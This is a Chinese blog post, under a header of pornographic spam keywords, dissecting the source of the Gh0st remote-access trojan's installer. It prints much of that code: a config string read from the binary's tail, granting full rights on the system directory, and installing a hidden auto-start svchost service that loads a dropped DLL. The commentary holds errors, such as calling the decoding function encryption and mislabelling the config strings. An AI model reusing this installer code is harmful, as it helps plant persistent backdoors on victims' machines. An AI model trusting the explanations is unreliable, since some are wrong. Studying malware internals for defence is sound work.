日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Gh0st源代码详细剖析

發(fā)布時(shí)間:2024/4/11 编程问答 73 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Gh0st源代码详细剖析 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.


聲明:

首先聲明,這篇文章完全是根據(jù)自己對(duì)gh0st源代碼的理解寫出來的,如果有理解上的偏差或者表述上的錯(cuò)誤本人不負(fù)責(zé),僅供參考!

前言:

在我剛學(xué)習(xí)gh0st源代碼的時(shí)候,覺得這東西好難,三個(gè)工程放在一起不說,還有那么多文件,當(dāng)時(shí)就懵了。這怎么看呢?從何下手呢?我想大部分剛學(xué)習(xí)gh0st源代碼的同胞們都有和我一樣的想法,我廢話不多說了,下面就為大家詳細(xì)講解gh0st源代碼。

思路:

首先我會(huì)講解gh0st的整體框架,包括三個(gè)工程之間的關(guān)系和每個(gè)工程的作用;然后再根據(jù)程序的執(zhí)行順序,從入口函數(shù)WinMain開始逐步向下講解。

框架:

gh0st有三個(gè)工程,分別是gh0st、install和svchost。那么這三個(gè)工程有什么作用呢?首先gh0st這個(gè)工程,是生成控制端的一個(gè)工程,換句話說就是用MFC寫的界面。但是你千萬不要小看它。因?yàn)樗^不僅僅是一個(gè)界面那么簡單,在這個(gè)控制端里面還包括IOCP完成端口、網(wǎng)絡(luò)socket和控制端與服務(wù)端之間的數(shù)據(jù)傳輸;install這個(gè)工程較其他兩個(gè)工程就簡單多了,因?yàn)樗挥幸粋€(gè).h文件和一個(gè).cpp文件。這個(gè)工程是整個(gè)程序的入口,因?yàn)閃inMain函數(shù)就在這里,它的主要功能就是生成一個(gè)exe文件,而這個(gè)exe文件的工程就是安裝和啟動(dòng)dll里面的服務(wù)的;接下來就是第三個(gè)工程了,前面所說的dll就是這個(gè)工程。它的主要功能就是執(zhí)行服務(wù)函數(shù),并完成與控制端的通信。

所以用一句話來概括gh0st的功能就是:exe安裝并啟動(dòng)dll里面的服務(wù),dll執(zhí)行服務(wù)并與控制端進(jìn)行通信,從而實(shí)現(xiàn)各項(xiàng)遠(yuǎn)程功能。

代碼解讀:

首先看install這個(gè)工程:(紅色部分為源代碼)

int APIENTRY WinMain(HINSTANCE hInstance,
?????????????????????HINSTANCE hPrevInstance,
?????????????????????LPSTR?????lpCmdLine,
?????????????????????int???????nCmdShow)
{
?// 讓啟動(dòng)程序時(shí)的小漏斗馬上消失
?GetInputState();
?PostThreadMessage(GetCurrentThreadId(),NULL,0,0);
?MSG?msg;
?GetMessage(&msg, NULL, NULL, NULL);

?char?*lpEncodeString = NULL;
?char?*lpServiceConfig = NULL;
?char?*lpServiceDisplayName = NULL;
?char?*lpServiceDescription = NULL;

這個(gè)WinMain函數(shù)就是程序的入口,四個(gè)參數(shù)分別是hInstance應(yīng)用程序當(dāng)前的實(shí)例句柄、hPrevInstance應(yīng)用程序先前的實(shí)例句柄、lpCmdLine指定傳給應(yīng)用程序的命令行參數(shù)、nCmdShow指定窗口如何顯示;首先是GetInputState()這個(gè)API函數(shù),它的功能是要讓小漏斗馬上消失,這是因?yàn)橐郧暗腸pu運(yùn)行速度很慢,所以當(dāng)你打開一個(gè)程序的時(shí)候會(huì)有一個(gè)小漏斗在屏幕上顯示,直到程序打開漏斗才消失;然后是PostThreadMessage(GetCurrentThreadId(),NULL,0,0)這個(gè)函數(shù),大家首來先看GetCurrentThreadId這個(gè)函數(shù),這個(gè)函數(shù)的功能是獲得當(dāng)前線程的PID,也就是獲得當(dāng)前正在運(yùn)行線程的唯一標(biāo)示符;而PostThreadMessage這個(gè)函數(shù)呢就是把當(dāng)前線程的唯一標(biāo)示符送入系統(tǒng)的消息隊(duì)列中。說了半天的當(dāng)前線程,那么線程究竟是什么呢?所謂線程,說白了就是計(jì)算機(jī)中正在運(yùn)行的程序,那么在gh0st里面這個(gè)正在運(yùn)行的程序是什么呢?其實(shí)這個(gè)正在運(yùn)行的程序就是在控制端生成的服務(wù)端,也就是人們所說的木馬。但是它一定是加上上線字串的,否則它是不會(huì)運(yùn)行的,這個(gè)我們后面會(huì)講到。接下來定義了幾個(gè)指針變量,并賦值為NULL,下面我們會(huì)依次講解。

lpEncodeString = (char *)FindConfigString(hInstance, "AAAAAA");

?if (lpEncodeString == NULL)
?{
??return -1;
?}

下面就讓我們來看一下lpEncodeString這個(gè)變量是什么意思,在看它之前呢要先看一下FindConfigString這個(gè)函數(shù)的作用。

LPCTSTR FindConfigString(HMODULE hModule, LPCTSTR lpString)
{
?char?strFileName[MAX_PATH];
?char?*lpConfigString = NULL;
?DWORD?dwBytesRead = 0;
?GetModuleFileName(hModule, strFileName, sizeof(strFileName));

?HANDLE?hFile = CreateFile(strFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);

?if (hFile == INVALID_HANDLE_VALUE)
?{
??return NULL;
?}

首先看這個(gè)函數(shù)的兩個(gè)參數(shù),hModule當(dāng)前程序的實(shí)例句柄,lpString就是"AAAAAA"這個(gè)字符串。后面定義了一個(gè)大小為260的字符數(shù)組和一個(gè)為空的字符串指針還有一個(gè)雙字型的變量;然后調(diào)用了GetModuleFileName這個(gè)函數(shù),這個(gè)函數(shù)就是獲取一個(gè)已裝載模板的完整路徑名稱并復(fù)制到它的第二個(gè)參數(shù)里面,也就是把服務(wù)端的完整路徑保存在數(shù)組變量strFileName里面;然后調(diào)用了CreateFile這個(gè)API函數(shù)用來打開剛剛保存路徑的文件,返回文件句柄。后面進(jìn)行一個(gè)判斷,如果文件不存在,那么返回空并跳出。
?SetFilePointer(hFile, -MAX_CONFIG_LEN, NULL, FILE_END);
?lpConfigString = new char[MAX_CONFIG_LEN];
?ReadFile(hFile, lpConfigString, MAX_CONFIG_LEN, &dwBytesRead, NULL);
?CloseHandle(hFile);

?接下來調(diào)用了SetFilePointer這個(gè)函數(shù),這個(gè)函數(shù)的功能就是設(shè)置一個(gè)文件中當(dāng)前的讀寫位置。四個(gè)參數(shù)分別是hFile系統(tǒng)文件句柄、-MAX_CONFIG_LEN文件偏移量、NULL通常為空、FILE_END文件結(jié)束位置。那么這個(gè)函數(shù)的意思就是將讀取文件的指針設(shè)置到距離文件結(jié)束位置MAX_CONFIG_LEN=1024個(gè)字符的位置上;接下來為lpConfigString這個(gè)變量申請(qǐng)一個(gè)大小為MAX_CONFIG_LEN=1024的棧空間。后面調(diào)用了ReadFile這個(gè)函數(shù),將原來打開的文件末尾的1024個(gè)字符復(fù)制到剛剛申請(qǐng)的棧中;關(guān)閉原來打開的文件。

?int offset = memfind(lpConfigString, lpString, MAX_CONFIG_LEN, 0);

接下來來看memfind這個(gè)函數(shù),先看它的四個(gè)參數(shù):lpConfigString剛剛申請(qǐng)的棧,里面放有文件末尾的10234個(gè)字符信息、lpString六個(gè)A的字符串、MAX_CONFIG_LEN1024、0。

int memfind(const char *mem, const char *str, int sizem, int sizes)
{
int da,i,j;
if (sizes == 0)
da = strlen(str);
else
da = sizes;
for (i = 0; i < sizem; i++)
{
for (j = 0; j < da; j ++)
if (mem[i+j] != str[j]) break;
if (j == da) return i;
}
return -1;
}

首先定義了三個(gè)整形變量;進(jìn)行了一個(gè)判斷,sizes為零那么da=6。之后是一個(gè)for循環(huán)的嵌套,外面的for循環(huán)次數(shù)為1024次,也就是那個(gè)棧中所有字符遍歷一遍。里面的for循環(huán)次數(shù)為6次,接下來進(jìn)行一個(gè)判斷,如果棧里面的字符沒有連續(xù)六個(gè)A出現(xiàn),那么就跳出內(nèi)部循環(huán)i++,直到找到六個(gè)A為止,返回找到六個(gè)A的為止。如果最后沒有找到那么就返回-1

?if (offset == -1)
?{
??delete lpConfigString;
??return NULL;
?}

里接下來進(jìn)行了一次判斷,如果剛剛的memfind函數(shù)返回的是-1,那么刪除棧空間,然后返回空。
?else
?{
??return lpConfigString + offset;
?}
}

如果返回值不是空,那么返回找到六個(gè)A的為止。結(jié)束FindConfigString函數(shù)。相信現(xiàn)在你一定知道lpEncodeString這個(gè)變量是什么意思了,沒錯(cuò)!它就是在原始文件中六個(gè)A的出現(xiàn)位置。

接下來回到WinMain函數(shù)

lpServiceConfig = (char *)FindConfigString(hInstance, "CCCCCC");

?if (lpServiceConfig == NULL)
?{
??return -1;
?}

我想這段代碼應(yīng)該不用解釋了吧,和上面的原理完全相同!要是連這段代碼都看不懂,那我只能說:親,別往下看了,回去學(xué)C語言吧!

char?*pos = strchr(lpServiceConfig, '|');

?if (pos == NULL)
?{
??return -1;
?}

?*pos = '\0';

接下來看一下這個(gè)函數(shù)strchr,它的功能是在文件中找到第一次出現(xiàn)'|'的為止,并將這個(gè)位置賦值給新定義的字符指針*pos,接下來進(jìn)行一個(gè)判斷,如果不存在這樣的位置,那么返回-1,若存在,則在'|'后面加上'\0'進(jìn)行字符串截?cái)唷?span style="color:#ED1C24; word-wrap:normal; word-break:normal">
?lpServiceDisplayName = MyDecode(lpServiceConfig + 6);
?lpServiceDescription = MyDecode(pos + 1);

?if (lpServiceDisplayName == NULL || lpServiceDescription == NULL)
?{
??return -1;
?}

接下來調(diào)用了兩次MyDecode函數(shù),這是作者自寫的一個(gè)加密函數(shù),加密算法可以查到,這個(gè)加密函數(shù)我就不講了,總之這個(gè)函數(shù)的目的就是將這兩個(gè)字符串加密。其實(shí)現(xiàn)在你應(yīng)該能看出來:'CCCCCC'后面的字符串就是服務(wù)名稱,而'AAAAAA'后面的字符串就是服務(wù)描述。接下來進(jìn)行了一次判斷,如果服務(wù)名稱或者服務(wù)描述任何一個(gè)為空,程序都不會(huì)再繼續(xù)執(zhí)行,這就是我之前說的那個(gè)服務(wù)端一定要加上上線字串的,否則它是不會(huì)運(yùn)行的!?

char?*lpServiceName = NULL;
?char?*lpUpdateArgs = "MyCmd Update";

?// 如果不是更新服務(wù)端
?if (strstr(GetCommandLine(), lpUpdateArgs) == NULL)
?{
??HANDLE?hMutex = CreateMutex(NULL, true, lpEncodeString);

??DWORD?dwLastError = GetLastError();

??// 普通權(quán)限訪問系統(tǒng)權(quán)限創(chuàng)建的Mutex,如果存在,如果存在就返回拒絕訪問的錯(cuò)誤
??// 已經(jīng)安裝過一個(gè)一模一樣配置的,就不安裝了
??if (dwLastError == ERROR_ALREADY_EXISTS || dwLastError == ERROR_ACCESS_DENIED)
??{
???return -1;
??}

??ReleaseMutex(hMutex);
??CloseHandle(hMutex);
?}

接下來定義了兩個(gè)字符型指針變量,第一個(gè)是服務(wù)名稱,下面會(huì)用到;第二個(gè)是更新服務(wù)端的一個(gè)標(biāo)志字符串。接下來進(jìn)行一個(gè)判斷,首先看一下GetCommandLine這個(gè)API函數(shù),它的功能是獲取當(dāng)前線程的命令行參數(shù),那么if (strstr(GetCommandLine(), lpUpdateArgs) == NULL)這句代碼的意思就很明顯了,就是判斷在當(dāng)先線程的命令行中"MyCmd Update"這個(gè)字符串的出現(xiàn)位置,如果沒有這個(gè)字符串,那么就要?jiǎng)?chuàng)建一個(gè)指向lpEncodeString的互斥體,創(chuàng)建它的作用就是防止程序運(yùn)行兩次或者兩次以上;接下來如果創(chuàng)建失敗的話就返回失敗原因,后面進(jìn)行一個(gè)判斷,如果互斥體已經(jīng)存在或者拒絕訪問則返回-1并跳出。接下來釋放互斥體,關(guān)閉互斥體。

else
?{
??// 等待服務(wù)端自刪除
??Sleep(5000);
?}

如果是更新服務(wù)端,則等待服務(wù)端自刪除。

SetUnhandledExceptionFilter(bad_exception);

這是一個(gè)設(shè)置異常捕獲函數(shù)。當(dāng)異常沒有處理的時(shí)候,系統(tǒng)就會(huì)調(diào)用SetUnhandledExceptionFilter所設(shè)置異常處理函數(shù)。

SetAccessRights();

這是一個(gè)設(shè)置獲取系統(tǒng)權(quán)限的函數(shù),接下來進(jìn)入到這個(gè)函數(shù)內(nèi)部看看。

void SetAccessRights()
{
?char?lpUserName[50], lpGroupName[100], lpDriverDirectory[MAX_PATH],

lpSysDirectory[MAX_PATH];
?DWORD?nSize = sizeof(lpUserName);
?
?LPLOCALGROUP_USERS_INFO_0 pBuf = NULL;??
?DWORD???dwEntriesRead = 0;??
?DWORD???dwTotalEntries = 0;??
?NET_API_STATUS???nStatus;
?WCHAR wUserName[100];

上面都是變量的定義,后面用到的時(shí)候再說。
?ZeroMemory(lpUserName, sizeof(lpUserName));
?ZeroMemory(lpDriverDirectory, sizeof(lpDriverDirectory));
?ZeroMemory(lpSysDirectory, sizeof(lpSysDirectory));
?GetSystemDirectory(lpSysDirectory, sizeof(lpSysDirectory));

?GetUserName(lpUserName, &nSize);

接下來調(diào)用了幾個(gè)ZeroMemory函數(shù),作用是將那三個(gè)內(nèi)存塊清零。然后調(diào)用了GetSystemDirectory獲取系統(tǒng)目錄的完整路徑并儲(chǔ)存到lpSysDirectory這個(gè)數(shù)組中。后面調(diào)用了GetUserName函數(shù)獲取當(dāng)前用戶名,并保存在lpUserName這個(gè)變量中。

?// 設(shè)置成員權(quán)限
?AddAccessRights(lpSysDirectory, lpUserName, GENERIC_ALL);
?MultiByteToWideChar( CP_ACP, 0, lpUserName, -1, wUserName, sizeof(wUserName) / sizeof(wUserName[0]));

提升用戶權(quán)限;將用戶名轉(zhuǎn)換為寬字符并保存在wUserName變量中。?
?nStatus = NetUserGetLocalGroups(NULL,??
??(LPCWSTR)wUserName,
??0,??
??LG_INCLUDE_INDIRECT,??
??(LPBYTE???*) &pBuf,??
??MAX_PREFERRED_LENGTH,??
??&dwEntriesRead,??
??&dwTotalEntries);??
?
接下來這個(gè)函數(shù)是檢索指定的用戶wUserName屬于哪一個(gè)組,并將得到的組名保存到結(jié)構(gòu)指針變量pBuf中。
?if (nStatus == NERR_Success)??
?{??
??LPLOCALGROUP_USERS_INFO_0 pTmpBuf;??
??DWORD i;??
??if ((pTmpBuf = pBuf) != NULL)
??{??
???for (i = 0; i < dwEntriesRead; i++)??
???{
????if (pTmpBuf == NULL)????
?????break;
????WideCharToMultiByte(CP_OEMCP, 0, (LPCWSTR)pTmpBuf->lgrui0_name, -1, (LPSTR)lpGroupName, sizeof(lpGroupName), NULL, FALSE);
????// 設(shè)置組的權(quán)限
????AddAccessRights(lpSysDirectory, lpGroupName, GENERIC_ALL);
????pTmpBuf++;?
???}??
??}?????
?}
??

接下來是一個(gè)判斷,如果上面的檢索組操作成功,那么定義一個(gè)LPLOCALGROUP_USERS_INFO_0結(jié)構(gòu)類型的指針變量pTmpBuf和雙字型的變量i;接下來又是一個(gè)判斷,先將用戶所在的組名賦值給pTmpBuf并判斷是否為空,若不為空則進(jìn)入到下面的for循環(huán)。

如果pTmpBuf指向的字符為空則跳出,接下來調(diào)用WideCharToMultiByte函數(shù)將寬字符的組名轉(zhuǎn)換為多字符集。最后調(diào)用AddAccessRights設(shè)置改組的權(quán)限為最高

?if (pBuf != NULL)??
?{
??NetApiBufferFree(pBuf);
?}
}

最后,釋放緩沖區(qū)pBuf。

?

接下來請(qǐng)看下面的代碼,個(gè)人認(rèn)為這是最為關(guān)鍵的地方之一。

lpServiceName = InstallService(lpServiceDisplayName, lpServiceDescription, lpEncodeString);

。這句代碼的功能就是安裝服務(wù),它的三個(gè)參數(shù)分別為加密過的服務(wù)名稱、加密過的服務(wù)描述和未加密的六個(gè)A所在的位置。

下面看這個(gè)函數(shù)是如何實(shí)現(xiàn)的:

char *InstallService(LPCTSTR lpServiceDisplayName, LPCTSTR lpServiceDescription, LPCTSTR lpConfigString)
{
?OutputDebugString("EXE install.cpp *InstallService in");
????// Open a handle to the SC Manager database.
?char *lpServiceName = NULL;
????int rc = 0;
????HKEY hkRoot = HKEY_LOCAL_MACHINE, hkParam = 0;
????SC_HANDLE hscm = NULL, schService = NULL;
?char strModulePath[MAX_PATH];
?char?strSysDir[MAX_PATH];
?DWORD?dwStartType = 0;

上面的都是定義的變量,用到的時(shí)候再說。

?try
?{
??char strSubKey[1024] = { 0 };

??char *pSvchost = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost";
??rc = RegOpenKeyEx(hkRoot, pSvchost, 0, KEY_QUERY_VALUE, &hkRoot);

??if(ERROR_SUCCESS != rc)
??{
???throw "";
??}

接下來定義了兩個(gè)變量,其中第二個(gè)變量賦值為注冊(cè)表中Svchost的目錄;接下來調(diào)用了RegOpenKeyEx函數(shù)來打開注冊(cè)表目錄HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost。后面進(jìn)行一個(gè)判斷,如果打開失敗則跳出。

??DWORD type, size = sizeof strSubKey;
??rc = RegQueryValueEx(hkRoot, "netsvcs", 0, &type, (unsigned char*)strSubKey, &size);
??RegCloseKey(hkRoot);
??SetLastError(rc);

??if(ERROR_SUCCESS != rc)
??{
???throw "RegQueryValueEx(Svchost\\netsvcs)";
??}

接下來又定義了兩個(gè)變量,調(diào)用了RegQueryValueEx函數(shù)來獲取hkRoot路徑下的netsvcs服務(wù)組的設(shè)置值,并將它儲(chǔ)存到緩沖區(qū)strSubKey中。接下來關(guān)閉剛剛打開的注冊(cè)表路徑,設(shè)置錯(cuò)誤返回值rc并判斷,如果沒有取得netsvcs的設(shè)置值,那么跳出。

??hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);

??if (hscm == NULL)
??{
???throw "OpenSCManager()";
??}

接下來調(diào)用了OpenSCManager函數(shù)來打開服務(wù)控制管理器并將句柄賦值給hscm ,判斷,如果沒有打開則跳出。

??GetSystemDirectory(strSysDir, sizeof(strSysDir));

??char *bin = "%SystemRoot%\\System32\\svchost.exe -k netsvcs";

??char?strRegKey[1024] = { 0 };

接下來調(diào)用GetSystemDirectory函數(shù)獲取windows系統(tǒng)目錄的完整路徑名,并將其保存在緩沖區(qū)strSysDir中。后面是兩個(gè)變量的定義,要說一下bin這個(gè)變量的值是服務(wù)的可執(zhí)行文件的路徑名,后面的netsvcs就是該服務(wù)所在的服務(wù)組。

?char?strRegKey[1024];

????for(ptr = strSubKey; *ptr; ptr = strchr(ptr, 0)+1)
????{
??//
??char temp[500];
??wsprintf(temp, "SYSTEM\\CurrentControlSet\\Services\\%s", ptr);
??rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, temp, 0, KEY_QUERY_VALUE, &hkRoot);
??if (rc == ERROR_SUCCESS)
??{
???RegCloseKey(hkRoot);
???continue;
??}

??memset(strModulePath, 0, sizeof(strModulePath));
??wsprintf(strModulePath, "%s\\%sex.dll", strSysDir, ptr);
??// 刪除試試
??DeleteFile(strModulePath);
??// 以前的服務(wù)文件沒有刪除之前,服務(wù)的DLL還在svchost中,所以不用這個(gè)服務(wù)
??if (GetFileAttributes(strModulePath) != INVALID_FILE_ATTRIBUTES)
???continue;

??wsprintf(strRegKey, "MACHINE\\SYSTEM\\CurrentControlSet\\Services\\%s", ptr);

??schService = CreateService(
???hscm,???????????????????????// SCManager database
???ptr,????????????????????// name of service
???lpServiceDisplayName,??????????// service name to display
???SERVICE_ALL_ACCESS,????????// desired access
???SERVICE_WIN32_SHARE_PROCESS,
???SERVICE_AUTO_START,??????// start type
???SERVICE_ERROR_NORMAL,??????// error control type
???bin,????????// service's binary
???NULL,??????????????????????// no load ordering group
???NULL,??????????????????????// no tag identifier
???NULL,??????????????????????// no dependencies
???NULL,??????????????????????// LocalSystem account
???NULL);?????????????????????// no password
??
??if (schService != NULL)
???break;
?}

?if (schService == NULL)
?{
??lpServiceName = AddsvchostService();
??memset(strModulePath, 0, sizeof(strModulePath));
??wsprintf(strModulePath, "%s\\%sex.dll", strSysDir, lpServiceName);

??wsprintf(strRegKey, "MACHINE\\SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
??schService = CreateService(
???hscm,??????????????????????// SCManager database
???lpServiceName,????????????????????// name of service
???lpServiceDisplayName,???????????// service name to display
???SERVICE_ALL_ACCESS,????????// desired access
???SERVICE_WIN32_OWN_PROCESS,
???SERVICE_AUTO_START,??????// start type
???SERVICE_ERROR_NORMAL,??????// error control type
???bin,????????// service's binary
???NULL,??????????????????????// no load ordering group
???NULL,??????????????????????// no tag identifier
???NULL,??????????????????????// no dependencies
???NULL,??????????????????????// LocalSystem account
???NULL);?????????????????????// no password
??dwStartType = SERVICE_WIN32_OWN_PROCESS;
?}
?else
?{
??dwStartType = SERVICE_WIN32_SHARE_PROCESS;
??lpServiceName = new char[lstrlen(ptr) + 1];
??lstrcpy(lpServiceName, ptr);
?}
?if (schService == NULL)
??throw "CreateService(Parameters)";

????CloseServiceHandle(schService);
????CloseServiceHandle(hscm);

????//config service
????hkRoot = HKEY_LOCAL_MACHINE;
?wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);

?if (dwStartType == SERVICE_WIN32_SHARE_PROCESS)
?{??
??DWORD?dwServiceType = 0x120;
??WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Type", REG_DWORD, (char *)&dwServiceType, sizeof(DWORD), 0);
?}

?WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Description", REG_SZ, (char *)lpServiceDescription, lstrlen(lpServiceDescription), 0);

?lstrcat(strSubKey, "\\Parameters");
?WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "ServiceDll", REG_EXPAND_SZ, (char *)strModulePath, lstrlen(strModulePath), 0);

????}catch(char *str)
????{
????????if(str && str[0])
????????{
????????????rc = GetLastError();
????????}
????}
?
????RegCloseKey(hkRoot);
????RegCloseKey(hkParam);
????CloseServiceHandle(schService);
????CloseServiceHandle(hscm);
?

?if (lpServiceName != NULL)
?{
??ReleaseResource(NULL, IDR_DLL, "BIN", strModulePath, lpConfigString);
?}

????return lpServiceName;
}

總結(jié)

以上是生活随笔為你收集整理的Gh0st源代码详细剖析的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。